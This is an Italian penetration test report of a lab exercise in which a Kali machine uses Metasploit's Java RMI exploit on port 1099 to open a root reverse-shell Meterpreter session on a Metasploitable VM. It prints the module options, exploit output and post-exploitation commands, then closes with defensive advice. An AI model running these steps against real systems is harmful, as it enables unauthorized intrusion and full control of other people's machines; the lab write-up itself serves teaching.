

Report di Penetration Test

Report dei passaggi compiuti e risultati ottenuti:

```
# This file describes the network
# and how to activate them. For me

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111
netmask 255.255.255.0
gateway 192.168.11.1

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
gateway 192.168.11.1
```

Ho iniziato configurando l'ambiente di test con due macchine virtuali: la mia macchina attaccante, basata su KALI Linux con IP 192.168.11.111, e la macchina vittima, Metasploitable, con IP 192.168.11.112.

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

Utilizzando tecniche di scanning come Nmap, ho identificato un servizio Java RMI esposto sulla porta 1099 della macchina vittima. Questo servizio, noto per le sue vulnerabilità, era il mio obiettivo principale. L'analisi preliminare ha rivelato che il servizio era suscettibile a un exploit noto.

```

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show optiond
[-] Invalid parameter "optiond", use "show -h" for more information
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


```

Sfruttamento della Vulnerabilità

Attraverso il framework Metasploit, ho selezionato il modulo **exploit/multi/misc/java_rmi_server**, configurando gli indirizzi IP e le porte necessarie. L'esecuzione dell'exploit è stata un successo, consentendomi di stabilire una sessione Meterpreter sulla macchina vittima. Questo mi ha dato il controllo totale del sistema come utente root.

```

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/0HlQdIekbx25r
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:38078) at 2024-03-28 21:08:35 +0100

meterpreter >

```

1. Esecuzione dell'Exploit:

- Apertura di una sessione Meterpreter sulla macchina vittima.

```
meterpreter > ipconfig
```

Interface 1

```
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

Interface 2

```
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe63:5768
IPv6 Netmask : ::
```

```
meterpreter > route
```

IPv4 network routes

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
::1	::	::		
fe80::a00:27ff:fe63:5768	::	::		

```
fe80::a00:27ff:fe63:5768 :: ::
```

```
meterpreter > sysinfo
```

```
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture  : x86
System Language : en_US
Meterpreter   : java/linux
```

```
meterpreter > 
```

```
meterpreter > getuid
```

```
Server username: root
```

```
meterpreter > 
```

```
meterpreter > ps

Process List
=====
```

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[events/0]	root	[events/0]
7	[khelper]	root	[khelper]
41	[kblockd/0]	root	[kblockd/0]
44	[kacpid]	root	[kacpid]
45	[kacpi_notify]	root	[kacpi_notify]
91	[kseriod]	root	[kseriod]
130	[pdflush]	root	[pdflush]
131	[pdflush]	root	[pdflush]
132	[kswapd0]	root	[kswapd0]
174	[aio/0]	root	[aio/0]
1130	[ksnapd]	root	[ksnapd]
1301	[ata/0]	root	[ata/0]
1304	[ata_aux]	root	[ata_aux]
1314	[scsi_eh_0]	root	[scsi_eh_0]
1318	[scsi_eh_1]	root	[scsi_eh_1]
1336	[ksuspend_usbd]	root	[ksuspend_usbd]
1339	[khubd]	root	[khubd]
2063	[scsi_eh_2]	root	[scsi_eh_2]
2219	[kjournald]	root	[kjournald]
2373	/sbin/udevd	root	/sbin/udevd -- daemon
2622	[kpsmoused]	root	[kpsmoused]
3533	[kjournald]	root	[kjournald]
3662	/sbin/portmap	daemon	/sbin/portmap
3678	/sbin/rpc.statd	statd	/sbin/rpc.statd

Raccolta di Informazioni

All'interno della sessione Meterpreter, ho eseguito vari comandi per raccogliere informazioni sulla configurazione di rete (**ipconfig**, **route**) e dettagli del sistema (**sysinfo**). Ho anche verificato i privilegi dell'utente con **getuid** e esaminato i processi in esecuzione con **ps**. Queste informazioni hanno offerto una visione approfondita dello stato e della configurazione della macchina vittima.

Conclusione:

Il penetration test eseguito sulla macchina Metasploitable ha dimostrato la vulnerabilità del servizio Java RMI in ascolto sulla porta 1099. L'uso del framework Metasploit per sfruttare questa vulnerabilità è risultato in un accesso remoto completo alla macchina target, come evidenziato dalla sessione Meterpreter ottenuta con privilegi di root.

Il test ha rivelato importanti informazioni sulla configurazione della rete e sui processi in esecuzione, che possono essere sfruttate per ulteriori attacchi o per consolidare la presa sulla macchina vittima. La facilità con cui è stato ottenuto l'accesso sottolinea la necessità di adottare misure di sicurezza robuste, come l'aggiornamento dei servizi a versioni non vulnerabili, l'implementazione di firewall e IDS (Intrusion Detection System), e la verifica regolare attraverso scan di vulnerabilità e audit di sicurezza.

Questo test funge da promemoria critico dell'importanza di valutare e migliorare continuamente le posture di sicurezza nei sistemi informatici per proteggersi dalle minacce in evoluzione. Inoltre, sottolinea la responsabilità etica di utilizzare tali capacità di penetration testing esclusivamente in ambienti autorizzati e con scopi costruttivi, come il miglioramento della sicurezza informatica.